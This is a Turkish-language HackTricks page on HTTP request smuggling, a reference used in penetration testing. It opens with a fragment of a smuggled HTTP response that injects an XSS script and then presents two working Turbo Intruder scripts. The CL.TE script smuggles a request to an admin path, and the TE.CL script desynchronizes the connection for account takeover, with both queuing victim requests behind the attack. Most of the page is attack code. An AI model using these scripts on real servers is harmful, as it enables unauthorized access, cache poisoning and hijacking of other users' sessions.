SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP İstek Smuggling'i HTTP Yanıtı Desenkronizasyonu ile Silahlandırma

Bir HTTP İstek Smuggling açığı buldunuz ve nasıl sömürüleceğini bilmiyorsanız, şu başka sömürü yöntemlerini deneyin:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Diğer HTTP İstek Smuggling Teknikleri

  • Tarayıcı HTTP İstek Smuggling'i (İstemci Tarafı)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

  • HTTP/2 Düşürmelerinde İstek Smuggling'i

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Turbo intruder betikleri

CL.TE

https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Kaynak: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Araçlar

Referanslar

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: